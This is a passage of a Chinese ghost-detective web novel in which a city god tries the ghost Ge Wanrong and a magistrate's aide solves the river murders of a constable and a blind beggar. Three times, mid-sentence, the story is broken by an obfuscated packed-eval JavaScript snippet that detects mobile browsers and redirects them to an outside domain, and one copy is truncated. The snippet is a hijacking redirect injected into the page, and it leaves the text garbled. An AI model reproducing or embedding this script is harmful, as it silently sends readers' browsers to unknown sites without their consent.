莽五跟在后头，正心如油煎似的，忽然一阵妖风吹凉了满脑门的细汗，也吹通了脑子，他看着姓杨的背影，杀心四起。 嚓嚓两铲，人已应声倒地。 他不敢喘气，许久才用脚尖踢了踢倒伏在地上的男人，说不清是软了还是硬了，亦或者根本没碰到男人的身体。 莽五靠着树，脑中一团浆糊，无意地转头，看见院外有一双眼睛。 是附近的瞎眼老叫花子，坐在小院对面，莽五觉得，他看到了。 这次他轻车熟路，推开院门走过去，一铲子拍在老叫花子头顶。 好像有血溅起来，好像也没有。 月亮沉进云里，连昏昏的月光都刹那熄灭，黑夜会吞吃所有声音，令人生出恐怖的臆想。 今夜的五更天格外的黑，洪垣绊了好几次脚，她把灯姑叫起来，拍拍她的头顶，灯姑的脑袋亮起来，其次是躯干，最后是四肢。 灯姑颜面尽失，默默解开发髻，把长发盖到脸上。 红衣长发、飘行如飞，若要是被人撞见，非得吓到三魂出窍不可。 靠着灯姑的“成名绝技”，人鬼一行来到城隍庙前。 麟城城隍庙修建已有五百年，古朴庄重、雅致错落，比起麟城知名的园林也不遑多让。 城隍神忠义公公玉文行，经过历朝历代的层层加封，如今的名号说起来得换气，写起来得拐弯。 洪垣走偏门进去，来到大殿前，就地跪拜叩头，点燃收在怀中的状纸。 灯姑拿出葫芦，将老聻倒在地上，唤着洪文简退出城隍庙外。 殿中灯火乍起，明晃晃白昼一样，老聻满身脏污，吓得狼狈逃窜，被一皂吏当空一棍打在地上，老聻喷出几股红雾，再难动弹。 烛火恍惚中，殿中现出人影，文武两班各站一侧，八个皂吏分列在殿门前，桌案前不见城隍爷，只听得与大殿同高的塑像说话：“堂下何人？所告何事？” “不肖子孙洪垣，代埋儿坡众小鬼状告老聻害鬼谋财。因被害鬼数众多，因此只叫来两个回话。” 洪垣刚侧了下头要叫徐思晦和丘无玷上前，一路神气活现的麟城八门总把头一箭步扑通跪下：“求城隍爷爷为我等做主！” 有这现眼精，徐思晦也不需多事，跪在一旁，不多言语。 “尔等诉状我已看过，”城隍说罢，又问主簿，“鬼死为聻，本该拘押到别处，此聻从何而来，为何在此？” 白衣主簿查过书册才来答话：“禀公爷，此聻本名葛万荣，薤城人氏，自戕而死，做鬼时钻营邪法害死数条人命，被判腰斩并发往地府为聻，因看守不严被他逃脱，这才来到麟城为害。” “葛万荣，你可有话讲？” 老聻不答，那一棍似是打中了他的命门，他扭着身子趴在地上，出气多进气少，眼看就要再死一回了。 洪垣起身上前，抚着主簿耳朵窃窃私语，主簿听完又悄声报与城隍爷知道，城隍爷对自己的后人可谓是溺爱，当即问起麒麟园饲谷之事。 偏偏葛万荣是个不怕开水烫的死鬼，咬紧牙关不肯松口，城隍爷不与他啰嗦，先命皂吏压下去打一百杀威棍再拖上来。 按他的话说便是“聻死为希，希死为夷，夷死为微，就是再打死两次也不打紧”。 殿外打出杀猪声，丘无玷看得过瘾，狠狠出了一口恶气。 葛万荣再被拖到殿上时已成了个血葫芦，熬到这时他还是不肯说话。 洪垣开始怀疑他是不是也没舌头，赶快过去抠开他的嘴，顿时放下心来，只要是能说话就不怕他不开口，一个害人害鬼的东西，有什么忠贞可言。 城隍爷的法子倒也简单，不肯说便拎下去再打，打到葛万荣骨肉成泥，变成一层扁扁的皮，洪垣没由来想到捶肉丸，老聻此时一定非常筋道。 皂吏把葛万荣抱来，两手搓上几下，将他的头捏了个初具人形。 城隍爷见他双眼闪躲，应是心意已变，于是添一把火：“我再加你一百棍，你边挨边想，若你不服我来审你，我也不强人所难，自然是发你到阴司受审，省的你反而怨恨我。到时候煎炸蒸煮劈砍剐烙都由别家对付你，可就不是棍子那么好受了。” 两个皂吏听罢，上前来拖葛万荣，他听完城隍爷这一番话早已回心转意，连忙大喊：“小人知罪！小人知罪！” 奈何如今他薄纸一张，挣扎不得，急得用嘴啃地也全然无用，又被拖出去生受了一百棍。 这次皂吏只用提着葛万荣的一角，他轻飘飘纱衣似的荡进来，又被打瘪的头涕泗横流，不等城隍爷开口再问，已然心肠似口袋，翻过来一倒，抖落个一干二净。 此事说来也简单，葛万荣年轻时就喜好求仙问道，但心术不正，因此走的都是旁门左道。 他自称受仙人点化，死后食用人心修炼即可修得鬼仙之身，但因害人性命被薤城城隍拘捕判刑，他从地府逃出后无处栖身，恰逢外甥祭祀先人，这才被引到麟城。 葛万荣的外甥姓万名籁秋，正应二年在万珍园做苑令，掌管万珍园大小所有事物。 那年园中麒麟寿终正寝，按理来说供应给麒麟园的饲谷应当即行停止，葛万荣起了贪念，托梦给外甥，说两只麒麟已被仙人召去，这些饲谷应当继续供奉，若是仙人欢喜，说不定外甥他也能成仙。葛万荣连续三日托梦，万籁秋闻言照做，见每月麒麟园库房里的饲谷都被取用一空，更加深信不疑。 麒麟死后，麒麟使一职长期空缺，万籁秋又任苑令近十年，只需稍加运作便不会被人发现。 葛万荣每月取来饲谷后大半献给点化他的仙人，小半存起自己使用，直到前不久库存耗尽，他抓来小鬼拷打才得知麒麟园的饲谷已连续大半年不见踪影。 他到园中查探，看见数个狗洞，以为是有人从洞中偷运饲谷，因此又找来外甥万籁秋。 此时的万籁秋已经老死，他托梦给自己在朝为官的儿子，儿子奏请朝廷修缮万珍园，洪垣发财的狗洞就这样被堵上了。 听罢来龙去脉，城隍爷又问:“我问你，小鬼所告是否全部属实？你所供奉的邪物居于何方？是何姓名？” 葛万荣伏地:“小鬼所告全部属实，小人知罪。那仙人……” “什么仙人？教人害人之法，分明就是邪物！”城隍将他喝断，葛万荣连连称是:“公爷！公爷容禀。他自称柏君，小人只在近百年前于薤城见过，之后再不知他的踪迹。我每月准时供奉，他如有言语，会在梦中示下。” 洪垣在旁听到一半，猛地心如擂鼓，起了两臂鸡皮疙瘩，她感到有人正盯着自己，转头看去，丘无玷眼神一闪，躲避下移。 她看了丘无玷一会儿，他不再抬眼，又看向徐思晦，他垂首恭顺跪着，与之前无二。 城隍爷命书吏将供状拿下去让葛万荣画押，又问万籁秋和柏君所在，得知万籁秋如今在万家家祠荣养，柏君此妖物不知所踪。于是先命枷锁将军带万籁秋来堂上问话，再吩咐文武判官发下文书，柏君一旦在麟城露面，即刻锁拿。 盏茶功夫，枷锁将军将老态龙钟的万籁秋带到，询问他案情缘由，与葛万荣所说一一都能对上。 洪垣心不在焉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801465|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时不时偷眼看丘无玷，这小鬼藏不住心事，每每盯着她看，被发现了就摇头动肩、吸鼻咂嘴，显得更加可疑。 她后退几步，站到小鬼身后，丘无玷浑身一僵，极不自在。 堂上万籁秋已在供状上签字画押，城隍爷发话结案："葛万荣做鬼害人，做聻害鬼，偷盗财物，供养妖佞，本公判你不可有安寝之所，不得吃供品血食，发往地府掏河五百年，若躲懒耍滑则刑期再延，直至赎清罪孽方可投胎。诸小鬼作祟搅扰人间，虽是为人胁迫，但仍罚尔等就近到渌水河河神处听差办事以赎罪过。万籁秋理事糊涂，以至酿成今日之祸，念你被奸人蒙骗，罚你进粪池狱关押十日，以示警戒。如此判罚，尔等服是不服？" 徐思晦当先拜谢城隍老爷英明，丘无玷这会儿反而沉默半晌，只磕了个头，两鬼起身，自行退下。 葛万荣已是面如死灰，掏河二字说来轻巧，但奈河岂是鬼呆的地方，河中流淌尽是血水，腥秽难闻，最可怖的是奈河水朽骨腐肉，与磨刑锯解并无区别。他正想喊冤，皂吏已将他提头押走。 千里之外的薤城，葛万荣的坟墓无端被河水冲垮，牌位也凭空着火、化为齑粉。 再看万籁秋，须发皆白，俩膝盖颤颤巍巍还没抖个明白，殿外闯进两个大汉，一左一右架起他，抢了便走。洪垣从未见过此等世面，追出门去，却再不见踪影。 她呆愣在那，听见殿内有人气急败坏地唤她："洪垣，你给我进来！" 她灰溜溜走进去，只见城隍爷气得现了真身，是个少年人模样，少年穿着紫衣短打，长着一张虎犊子般的脸，主簿判官、各司大神围着给他顺气，全然没了刚刚闲适肃穆的模样。 城隍爷瞪着眼，洪垣傻笑一下："没，没追着。" 他又瞪眼看向枷锁将军，将军委屈：“公爷，万家不知哪雇了两个金甲将军做护卫，就在那老头牌位两边守着，小将是说城隍爷请他喝茶才把他带来，你看这……” 城隍爷环顾一周，跺了十来下地板：“岂有此理！岂有此理！简直是岂有此理！我做了几百年城隍，还没见过谁敢到公堂上抢人，你问问那些城隍，谁见过？谁见过！人家都欺负到本公爷头上了！你你你！洪垣！” 他乱指一气，话锋顿转，嘿嘿坏笑：“你快去他家，把他牌位抢来。” 洪垣也瞪眼：“怎么什么事都有我呢？” “做事要有始有终是不是？主要啊，唉，你那些五钱银子，怕是保不住咯。”到底还是城隍爷老道，一句话说得洪垣扭头冲出庙门。 庙外天色微微发青，洪文简蹲在一个馄饨摊子前等着，灯姑已将偷出来的葫芦洗净放回原处，此时正轻松惬意地在汤锅前飘来飘去，煮馄饨的小娘子好奇地嘟囔今天这烟怎么左右乱飘呢。 洪垣感概自己这五钱银子的命到底值多少碗馄饨，细数下来还挺多的，高高兴兴吃早点去了。 吃到一半，灯姑把万家的位置一报，她又不高兴了。 真真不是冤家不聚头，万籁秋正是当朝侍中万文珍的叔叔，洪垣的父亲就是被此人坑害，最终被逐出麟城。 馄饨汤冒着袅袅雾气，驱散了清晨的寒意，洪垣低下头，与灯姑密谋："咱们得有个计划，你说是抢呢，还是偷呢？" "就不能是敲门走进去拿吗？"灯姑甚是不解。 "你不懂，我家和他家有仇，虽然是朝堂上的事情，但他家肯定不会让我进门。" "我的意思是，就不能？"灯姑抿着嘴，"骗"字没说出来，与洪垣眼神一对，两人一齐欣喜捂嘴："智取，智取！" 干起智取的活儿，洪垣自以为都不需要动脑子，准备今日到万家附近摸个底，明日扮个道士，赚得万籁秋的牌位回城隍庙交差还不是如探囊取物、手到擒来。 只是天不遂人愿，等她到了万府后门，平日清净的岸边今日人潮涌动。 洪垣爬上树看，一个中年妇人正趴在一名差役身上哭天抢地，差役身旁摆着个老叫花子，两人浑身湿透，似是淹死。 "洪垣，你在这做什么？" 她闻声差点掉下树去，低头一看，是萧慧极。 5. 瓮（一） 有时魂并不知晓自己死了，正如此刻。 他感觉自己在冰凉河水里漂浮着，顺着轻柔摇动的水草向下，向下，触底时水流又将他卷起，他看见河岸在浮沉，在流逝。 他看见一个熟悉的地方，是他该去的地方，弯曲的手指勾住水草，看见自己的身体停下来，挡住了后边的另一个人。 刚到河边的洗衣妇摔倒在地，发出尖叫。 他意识到自己已经死了，惊恐挣扎，隔着碧绿的层层水流，望见模糊的人群已站满河岸。 人群嘈杂，洪垣充耳不闻，只感觉自己智取的计划怕是要泡汤。 万府后门的河中打捞上两个死人，一个是城中的瞎眼乞丐黄老拐，一个是麟城府的捕班差役杨隆乙，杨隆乙的浑家恰是万府的厨娘。万府一旦和人命官司沾染上，此时无论是偷是抢还是"智取"都不明智。 尤其是仵作验得二人并非溺亡，杨隆乙被击打后脑而死，黄老拐则是颅顶被人击碎。 二人均于今日五更左右被人杀害，然后抛尸河中。 一个乞丐和一个公门中人被同时强杀，任谁来想都觉得离奇，这二人名声又不佳，围观者窃窃私语，不一会儿便已编排出十好几个故事，各个曲折离奇，都是市井里最爱看的本子。 黄老拐人如其名，年轻时就因拐带妇人孩童蹲过大狱，大约是缺德过头，某日突然就瞎了，街坊都说这是上天开眼惩罚恶人，瞎眼后的黄老拐靠乞讨为生，因年轻时候做的恶事，常常被人驱赶。 杨隆乙则是名副其实的衙蠹，找他办事样样要收取规费，不找他办事他也算计着敲你一笔竹杠，他本人又好赌成性，欠了一屁股的债。 人人都深以为这两人均是被仇家寻上门，罪有应得。 且说萧慧极接到报案就立即率人来此，和洪垣撞个正着，她只说自己是看热闹，箫慧极心里好笑，她看万家门前的热闹，多少有些故意了。 他垂眼看她细眉蹙着，一脸愁容，眉间红痣像拿胭脂刻意点的，红艳艳比樱桃还鲜，蓦地她眉头舒展，眼睛点了火，他顿觉不妙，别过头去。 果然听见她说：“萧慧极，你要是人手不够就吩咐我，我保证不论什么事都给你办的漂漂亮亮。” 他目光下斜，洪垣从中咂摸出一丝狐疑，举三指发誓：“我绝对不是想公报私仇。” 这倒是真心话，她只想找个机会把万籁秋的牌位顺走。 萧慧极不置可否，吩咐差役将两具尸体抬回府衙停尸房，班头留下盘问报案人和杨隆乙的浑家，他则顺着河岸向西走，洪垣紧赶慢赶：“你不去万府啊？” “尸体顺流而下，现在去万府又能找到什么？不论是因何杀人，总要先找到杀人的地方。”他目不斜视，心情似乎不错。 洪垣回头唤洪文简跟上，灯姑不知从何处飘出来，凑近她耳畔：“我替你去瞧了，万家祠堂里有两个穿金甲的壮实鬼守着，门头贴了一道怪符，把我挡在了外边。” 她向后瞟了一眼：“还有那个什么八门总把头，现在还跟着你呢。” 洪垣回头什么也没寻到。这怪事，一天天的还真多。 两人沿着河岸逆流而行，从城东走到城西荒僻处，果真在河岸边找到许多痕迹。 一片青草突兀地倒伏，唯这片草尖上不见一滴晨露，露水往往在五更时分凝结，恰恰印证了黄杨二人在五更后被杀抛尸，凶手抛尸时将二人拖行至河畔，因此沾去了草上的露珠。 萧慧极又从岸边的树枝上捡起一条布片，颜色布料与差役服色一致，他将布片收起，待回到麟城府公廨再与尸身所穿衣物比对。 他起身回头望，两行深痕通向大路，是车辙印。 洪垣沿着车辙转悠一圈，抬起脚看看鞋底，在草上用力地擦：“嗯，是辆驴车。” 萧慧极简直不知道该说些什么好，迟疑片刻说到：“沿着车辙看看。” 车辙从河岸上了宝善街，这条街偏僻安静，行人极少，因此车辙印很好辨认，转上万通街后人烟渐多，天亮后来往的车马行人将车辙渐渐踏平，线索就这样消失在万通街和玉屏街交汇的十字街口。 有时人不如狗，洪文简在街口中心转着圈嗅了片刻，鼻子被牵往南万通街方向。 萧慧极上前查看，洪文简嗅到的竟是地上的一丝血迹，那滴血已经被反复碾压，只剩边缘一点还保留着滴落的原貌。 断掉的车辙由血滴续上，洪文简边闻边在前带路。 洪垣洋洋得意，真不愧是她老洪家连圣人都夸奖的好狗，她眼神划个弧瞟向一旁，萧慧极那厮只顾眼前路，已紧跟着洪文简走远，竟是一句恭维话都没有。 她两步赶上去，声音打着卷翻着浪：“哎呀，洪二，今天我可得给你弄顿好的。” 洪文简摇摇屁股，以示听到。 “吃牛尾骨吧，庄子上刚送来。”萧慧极慢悠悠开口。 洪文简尾巴登时笔直，屁股摇得后半身快要起飞，洪垣起叉腰，这吃里扒外的坏狗。 坏狗没领多远的路，不知道是被牛尾骨莫须有的香气迷昏了头，还是越发纷乱复杂的味道掩盖了血迹的气息，洪文简已停下来半柱香时间，它来回踱步，呆立在街头沉思，不敢相信牛尾骨的梦醒时分来得如此之快。 到底是自家人心疼自家人，洪垣喊伤心的狗回来：“行了，萧参军不给你吃，我给你吃，吃两顿。” 洪文简一阵抽泣，差点哭了。 萧慧极忍了又忍，终是憋不住满肚子话，脱出口时又只寥寥数字：“你什么时候少吃了。” 洪垣连忙对着洪文简接话：“就是就是，萧参军堂堂朝廷命官，怎么会言而无信欠你几根牛尾骨呢？” 洪文简脑筋不大转得过来，它总觉得萧慧极说的不是自己。 但洪垣说几根牛尾骨，所以她说的对，说的极对。 两人一狗停在街边，萧慧极心中算了算从杀人到抛尸再到尸体被发现的时间，与渌水河的流速、驴车行进的速度对比，可以算出杀人现场应在此方圆一里左右。 二人当即决定分头探查，萧慧极写一封手令，派洪文简到公廨传信，命捕、壮两班差役全体出动，到南万通街听命行事。 洪垣单独一人往西，灯姑从地上冒出头来：“无聊死了，大半天没人陪我说话。” 她升到半空，坐在洪垣肩上：“万籁秋的牌位怎么办，你不管了？这杀人案没头没脑的，你掺和得了吗你。” “左右现在我也没办法弄到那牌位，干脆先帮帮萧慧极的忙。再说了，什么叫没头没脑的，人死了魂还在，不然你看那是什么？”洪垣停下脚步，下巴指向小巷一处背阴的屋檐下。 皱巴巴的老叫花子坐在台阶上，人皮和衣服浑然一色，他怀里抱着个碗，满身上下只有那个碗是白的。 有时魂并不知晓自己死了，正如此刻。 洪垣走过去，叫他：“黄老拐，你在这干什么？” 黄老拐侧了下耳朵，懒洋洋把碗在地上磕两下：“小娘子，好心人，给口饭吃。” 洪垣晒笑，不知这是讨饭还是当大爷。 “黄老拐，你头不疼吗？” 黄老拐摸摸凹进去的头顶，脸色霎时大变：“你这小贱蹄子，定是你打的我！我在街边睡觉干你何事！” 他青灰的脸陡然涨紫，白色的眼珠鼓起，要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801466|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是眼皮吃力扯着就要掉出来，他呼哧喘气，边大叫赔钱边把碗底锵锵乱砸。 洪垣看这老瞎子自己怎么死的都不知道，懒得纠缠：“赔钱给你怕是不行，恐怕得做烧钱了。” “杀千刀的，你这小娼妇敢咒我死！”黄老拐怒发冲冠、眉毛倒立，一蹬腿弹起来就要骂人，可“死”一出口，他忽然察觉到一丝怪异，上下摸索自己的身子，空无一物。 他张嘴叫唤，一阵风过，顷刻散尽，只余那缺口的破碗骨碌碌越转越急促，碗底如鱼尾拍击水面般，涟漪荡开后重归平静。 洪垣拿起碗，碗底刻着歪歪扭扭的“黄”字，俯身仔细看，石阶和墙上有零星血迹。 灯姑看得眼睛发直，像在扮家家酒，鼻尖兴奋得冒汗：“这是一个，还有一个呢？” “还有一个得靠你小灯了，咱齐头并进、双管齐下，那才叫珠联璧合、相得益彰。”她一段连珠炮又把灯姑说得起了干劲，一脑门扎进地里，寻杨隆乙的魂去了。 灯姑方去，萧慧极又来，他那信步模样，若不是穿了官服，还教人以为是个富贵闲人。 “你怎么过来了？”洪垣向前几步，走到太阳底下。 “我问了坊正，方圆一里有驴车的人家共十一户，这巷子里便有五户，就先到这来了。”他还未说完，见洪垣举起个碗。 “那你可是来对了。” 萧慧极看过黄老拐遗落的碗，看过星星点点的血迹，眼睛垂下，心中已确信凶手不是谨慎老练之人，此人慌张无措，必是事发突然所致。 他回身打量巷中人家，倒是热闹。 辰时家家升起炊烟，如雾如纱漫过低矮的房檐，檐上青苔杂草尚是新绿如水，燕子剪尾来去，谁能知晓两个时辰前此地也曾血溅三尺。 十几户人家中只有对面一家房门紧闭，这家小院用篱笆围起，院门低矮，院中簸箕叠放晾着药材，牲口棚里有头老驴正卧着。 “萧参军！” 有人大咧咧高喊，打断了他的思绪，往巷口看去，是班头带着差役来了。 差役一左一右提着个寻常汉子，个头寻常、衣着寻常、相貌也寻常。班头喜气洋洋：“萧参军，这小子从背巷那面跳窗下来，我看他鬼鬼祟祟的，就押了过来。” 萧慧极只扫了一眼：“报上姓名。” 那汉子眼皮翻到脑门前，连觑了好几下，只感觉这萧参军看着文质彬彬，不似精明强干之辈，倒像个好糊弄的教书先生，这才些微放宽心：“官爷，小人莽五。” 官爷没再问话，他且松口气，可官爷又道：“把你家院门打开。” 莽五心咯噔一落，从脚后跟蹦到嗓眼，他怪模怪样地笑：“官爷，小人不住这里，小人只是想来偷点东西。” 洪垣听了这话都发笑：“莽五，这附近可都是你的邻里，说谎也得带点脑子吧。” 莽五这才反应过来，冷汗涔涔，只会干笑着答是。 “莽五，你满身药味，这巷中只有一家炮制药材，再看你的鞋，鞋面上滴有血迹，鞋底沾着河边青草，你却并未发觉将鞋换掉。你刚刚几句话颠三倒四不知所谓，像你这样藏头露尾、前后难顾才会将乞丐的饭碗遗落，才会留下许多血迹，才会看见我身穿官服在你家门前徘徊就吓得越窗而逃，才会以为将药架子移到新土上就能遮挡痕迹。” 萧慧极话音并不激昂，幽幽落在地上，却敲打得莽五骨头寸寸碎裂，只剩一口气顶着皮囊。 “陆班头，打开院门，撅开新土。”他一声令下，差役踹开院门。 莽五恍恍惚惚看见蓝衣女子躺在地上向他微笑，昨晚惨淡的月牙一般，他瘪下去，跪倒在地。 6. 瓮（二） 月出时，各家忙着上灯，灯笼一簇簇仿佛花开渐次，水波涌去。 杨隆乙在半人高的土地庙前磕头祈求，最近真是点儿背，铜板一个赢不到，差点被要账的打死，母老虎又发现他外边有姘头，饭也不给吃酒也不让喝，多说两句就照着眼睛挠。 再这么下去，就得去跳渌水河了！ 他起身啐了一口，捧着花花肠子思索上哪弄点钱花，想了半天，主意一个没有，只有满脑门子晦气。他泄了气，贼眉鼠眼四下看看，忙从土地爷碗里抠出几文茶钱，拍拍屁股溜之大吉。 今夜不该他当值，姘头回娘家去了，兜又比脸干净，一时竟不知道去哪消遣。 喝了半盏冷茶，猛地想起今早出门时看的黄历，今日吉神方位财神在南，便往城南去碰碰运气，哪知半路遇上敲过钱的冤家，幸亏藏得快，否则又是好一顿纠缠。 晦气！晦气！他连呸三下，揉揉肚子，走了这许多路，饥肠已攥紧了心肝，哭爹喊娘起来。 他搜了自己，鞋袜褪尽，掰开脚趾缝找，半个子没有，早知就把剩下半盏冷茶喝了，真真浪费。 心想不如赊一顿去，连去几家，掌柜的虽然笑脸相迎但是要啥没有，只能怪世风日下、人心不古，这些人连顿饭都要计较。 折腾了这一番，他丧眉搭眼的，认命回家，想着同那贼妇说两句软和话，好教她弄点爽口的饱腹。 行至家中，黑灯瞎火冷锅冷灶，他火冒三丈，在家中翻箱倒柜大刮地皮，还真在灶台缝里找到一支蓝布包着的素银簪子。喜得他眉梢飘扬，大步飞起奔出家门，与自己浑家撞个满怀。 田彩女被这一撞吓得魂飞魄散，睁眼一看，是个冤家，火烧上头顶，如若放在平日她定是破口大骂，今日却没有闲心同这烂汉多嘴，撞进屋去收拾包袱。 杨隆乙丈二和尚摸不着头脑，想不通自家婆娘怎么改了性情，不咬人了。 他嗅到事儿的味道，也嗅到钱的味道，脸一抹笑嘻嘻进屋：“彩儿，怎么了这是？慌慌张张的。” 田彩女头也不抬，从枕头下收出两件衣服，起身去灶台那一摸。 空的。 心知银簪子进了杨隆乙的口袋，瞪他一眼，咬牙忍了，挎起包袱便要走。 “彩儿，彩儿，”杨隆乙嬉皮笑脸，连拽带抱把她拉到凳子上，“你又要上哪去？东家那儿说了吗？” 田彩女一声不吭，拉扯急眼了捶他几下，一门心思就是要出门，杨隆乙愈发笃定她是遇上事了，干脆抱着她的腿跪在地上撒痴：“彩儿啊，你可别吓我。咱俩夫妻那么多年，是，我不是个好东西，没让你过一天好日子，但你这样不言不语就要走，你叫我怎么放心。” 他胸有成竹抬头。 奇怪，月光打在她身上，白的吓人。 久经日晒的黑红脸庞扑了霜粉，粗糙、干裂、皱纹被一抹月光抚平，想起她年轻时清秀标致的模样，那时总爱穿一件牙白的对襟短衫，和如今这件洗得泛白的有八分相似。她坐着，眼里有一汪水，年轻时也有一汪水，后来浑浊干涸。 他有些难过。 “彩儿，你别哭，咱以后好好过日子。” 眼泪从月华上滚落，她用手背去抹，哭了一阵，吸吸鼻子：“我看见主人杀人了，是个女的，穿着蓝裙子。” 现在想起还是心有余悸，因她不知道主人是不是看到她了。 正心焦地捏着手，院门被敲响，她吓得一抖，男人站起把她往里一推：“你别出来。” 田彩女只知道自家男人被主人叫出去说话，一夜未归，担惊受怕整晚，早早就想往万府后门去打探打探，谁成想男人死了，和一个老乞丐死在一起，她知道这和主人脱不了干系。 她心里装着事，不敢浑浑噩噩，哭了会儿心慌慌挤不出眼泪，又觉得不哭真是没良心，好在差役对她还算客气，例行公事询问片刻便请她节哀。 她不敢回头，主人或许就在竹林掩映的阁楼上盯着她，也或许主人不会再去那个地方。 未知令人窒息。 府里出来个婆子，酸言醋语说娘子拿了些钱让她先把后事办好，她终于鼓起勇气回头时往阁楼扫了一眼，只一眼，心惊肉跳，三魂七魄均掉在地上，人成了泥塑的空壳。 她的脸色一定不比自己的死鬼男人好看多少，那惯会使刁的婆子都少了些闲言碎语，把她扶到墙根下坐着。 不能坐着等死，得活着。 猛然她张牙舞爪蹒跚起来，只盘桓一个念头，她得去麟城府衙门。 田彩女是个小老百姓，在万府做了许多年厨娘也没长什么见识，油盐酱醋、鸡零狗碎仿若她的发肤心肠，日子过的是家常滋味，其间还缺些佐料。 她所能想到的活路就是上衙门去，主人是做官的，主人的大哥更是天大的官，那衙门也管不了，但衙门里的大老爷是好人，连她男人那种混不吝也说大老爷好，大老爷不会不救她。 手扑腾着走了一路，来在公廨门前，正要伸头张望，被门子喝止。她在袖中数一些铜板出来，请门子通融，让她见见大老爷，门子推说常公不在公廨中，便将她晾在原地不再理会。 她在府衙前左支右绌，不知该去哪里。 快至午初，见两队差役回府，押着一个，抬着一个。田彩女陷入一种混乱的平静，躺直的蓝衣娘子从她身边经过，衣蓝如水，向东不复。 兴许是午时的日头有些毒辣，晒得她头如顶着冰盆，耳朵里风声很大，早晨见过的萧参军上前同她说话，嘴一张一合，好像说杀她男人的凶手已经抓到，手指给她看，问她认不认识。 她说不出话，男人是跟着主人走的，和这个面生的汉子能有什么瓜葛？ 危险的想法一旦漫上心头，就再止不住手忙脚乱地无端臆测，这汉子是只替罪羊，主人和这些人是一伙的。 她不知也无暇顾及自己拉扯古怪的面色，脚尖蠕动，转过身去。 常人一眼就能看到她满面心事，更何况萧慧极这样善于读人的刑官，他朝洪垣使个眼色，洪垣也知这次案子不小，暂且把万籁秋那老鬼放到一边，也不管据说跟着自己的小鬼，叫住丢了魂的女人：“田娘子，你等了许久吧？请到花厅喝口茶。” 田彩女想开口回绝，被洪垣伸手一揽，挽进门去。 萧慧极看了一阵，去再审莽五。 洪垣已在路口和萧慧极遥遥看见田彩女的身影，料定她必藏心事，否则不会徘徊不止，来回张望，于是当街商量好对策方来见她。 方才稍稍一试，她已成惊弓之鸟，一路走来头折进胸膛里，像件由人挂晾的衣裳。 洪垣怕她绷得太紧，适得其反，先把洪文简赶走，挽着她到东花厅去。 仆役端上热茶，洪垣吹凉一杯，夸夸四周花草，扯了几句闲篇儿，心里盘算着怎么说到正题上。 这妇人耳听到、眼见到杀夫仇人就在眼前，不哭不闹不打不骂，而是僵立惊恐，随即纳头赔笑。与杨隆乙相熟的几个差役说他们夫妻感情不好，总是争吵打架，杨隆乙似乎还招惹了别的女人，但若已夫妻失谐，那笑中怎不见解脱快慰，反倒凝重如死一般。 她不会觉得衙门抓错人了吧？那她又觉得该去抓谁。 洪垣定了主意，话锋一转：“田大姐，你听说最近那事了没？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801467|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >田彩女只是摇头，端着茶一口未喝，手却烫红了。 洪垣不去看她，歇了茶，开口“话说”。 “这事可是新鲜，城东门外有个埋儿坡，小鬼作祟，前不久有个书生打那儿路过，小鬼又出来祟人，耸立在背后对他吹气。” “你不知鬼气森森，吹上一口就教你如坠冰窟、毛骨悚然，书生察觉有异，回头看见一褴褛小鬼，那书生有些憨直，竟和小鬼讲起圣贤道理，教小鬼要知道五伦五常四维八德，休要出来害人。” “小鬼大怒，招来鬼众对着书生一齐吹气，书生也是大怒，学模学样亦吹气回去，小鬼身上被吹个空洞，随即散去。” “天地自分阴阳，阳气就是阴煞之物最大的克星，书生歪打正着斗赢了小鬼，余下小鬼见同伴被吹散，都心生惧意，拜倒在地请书生饶命。” “原来小鬼们也不是自愿作祟，他们为一怪物奴役逼迫，才在此处害人，书生素怀侠义心肠，回到城中书状纸一封，将小鬼情境告至城隍庙中。” “当夜雷声大作，第二夜便有一小鬼来到书生梦中道谢，说那怪物名叫柏君，已被城隍爷查实有罪，押送阴司受刑五百年。因小鬼众多，如今书生做梦还仍有小鬼前来拜谢，他因此苦不堪言，说与路人做笑话听。” 洪垣见田彩女双肩垮下、手中杯斜，已听得入神，忙不迭趁热打铁道：“要说咱们城隍爷，那真是英雄人物，无论什么牛鬼蛇神都能收服，更遑论民间冤屈不平，但凡去告，没有不为民伸张的。三百年前，庆熹年间，惑帝纵掠臣妻、荒淫无度，竟将一个守城小卒的妻子抢入宫中为妃，小卒人间求告无门，便向城隍告状，当夜惑帝的魂魄就被锁来鞭打，不出三日因此暴亡。惑帝死后，所抢掠的女子被从宫中放出，这才夫妻团圆。要不怎么说人在世上分三六九等贫富贵贱，锁出魂魄却是一般轻重，即使惑帝贵为天子，城隍爷一样判他。” 田彩女手指抽搐，抠了两下茶杯，洪垣偷着拧嘴，知道这戏台子算是搭起来了。 